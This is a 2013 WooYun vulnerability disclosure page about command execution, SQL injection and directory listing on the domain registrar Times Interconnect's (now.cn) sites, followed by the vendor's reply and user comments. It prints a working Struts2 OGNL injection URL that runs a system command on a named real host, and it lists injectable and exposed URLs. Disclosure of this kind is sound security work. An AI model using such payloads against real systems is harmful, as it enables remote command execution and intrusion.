当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-031856

漏洞标题：时代互联命令执行注射等漏洞打包

相关厂商：广东时代互联科技有限公司

漏洞作者： Coody

提交时间：2013-07-29 15:39

修复时间：2013-09-12 15:40

公开时间：2013-09-12 15:40

漏洞类型：命令执行

危害等级：中

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-29： 细节已通知厂商并且等待厂商处理中
2013-07-29： 厂商已经确认，细节仅向厂商公开
2013-08-08： 细节向核心白帽子及相关领域专家公开
2013-08-18： 细节向普通白帽子公开
2013-08-28： 细节向实习白帽子公开
2013-09-12： 细节向公众公开

简要描述：

rt....

详细说明：

0x01:命令执行

http://zhaopin.now.cn:8080/toJRS.action?redirect:${%23a%3d(new java.lang.ProcessBuilder("id")).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}


0x02:SQL注射

http://d.now.cn/order/dish_list.php?category=%D2%FB%C6%B7


0x03:列目录，爆路径

http://icp.now.cn/include/excel_class.php
http://icp.now.cn/test.php
http://icp.now.cn/include/
……


漏洞证明：

0x01

QQ图片20130722205949.jpg


0x02

QQ图片20130722210219.jpg


0x03

QQ图片20130722210236.jpg


QQ图片20130722210251.jpg

修复方案：

版权声明：转载请注明来源 Coody@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2013-07-29 16:47

厂商回复：

和官方求救，总算救回来，放了个周末假，那知过期了，多谢coody了，上面1和3与之前的漏洞有部分重复，所以给12了，再次感谢

最新状态：

2013-07-25：回复的时候点错了 可以取消的吗？

漏洞评价：

评论

  1. 2013-07-23 00:25 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    这是要刷分的节奏啊。。

  2. 2013-07-23 11:57 | 小杨 ( 路人 | Rank:22 漏洞数:4 | 。)

    时代互联的.com域名涨价了？比域名中国还贵了

  3. 2013-07-25 17:31 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @广东时代互联科技有限公司 什么情况？

  4. 2013-07-26 11:45 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @广东时代互联科技有限公司 待确认--忽略--待确认

  5. 2013-07-27 23:53 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @广东时代互联科技有限公司 修复了，忽略了？？这样不地道吧？？？

  6. 2013-07-28 00:30 | 纠结师 ( 实习白帽子 | Rank:53 漏洞数:12 | 传说中的废材)

    @Coody 人家是点错了.

  7. 2013-07-28 00:36 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @纠结师 可是披露状态很奇怪呢，，， 待确认--忽略--待确认--忽略

  8. 2013-07-28 08:46 | 小杨 ( 路人 | Rank:22 漏洞数:4 | 。)

    @广东时代互联科技有限公司 晚了

  9. 2013-07-28 12:22 | 纠结师 ( 实习白帽子 | Rank:53 漏洞数:12 | 传说中的废材)

    @Coody 只看到2个状态..

  10. 2013-07-29 16:48 | 广东时代互联科技有限公司(乌云厂商)

    @Coody 之前回滚过，没想到时间过了，不好意思啊

  11. 2013-07-29 16:51 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @纠结师 彻底把我搞蒙了，看披露状态

  12. 2013-07-29 16:56 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @广东时代互联科技有限公司 最终能确认就ok了，呵呵

  13. 2013-07-29 17:37 | 纠结师 ( 实习白帽子 | Rank:53 漏洞数:12 | 传说中的废材)

    @Coody 2013-07-29： 细节已通知厂商并且等待厂商处理中 2013-07-29： 厂商已经确认，细节仅向厂商公开今天改了的?

  14. 2013-07-29 17:42 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @纠结师 我已经不再相信披露状态

  15. 2013-07-29 23:11 | 纠结师 ( 实习白帽子 | Rank:53 漏洞数:12 | 传说中的废材)

    @Coody 节哀吧..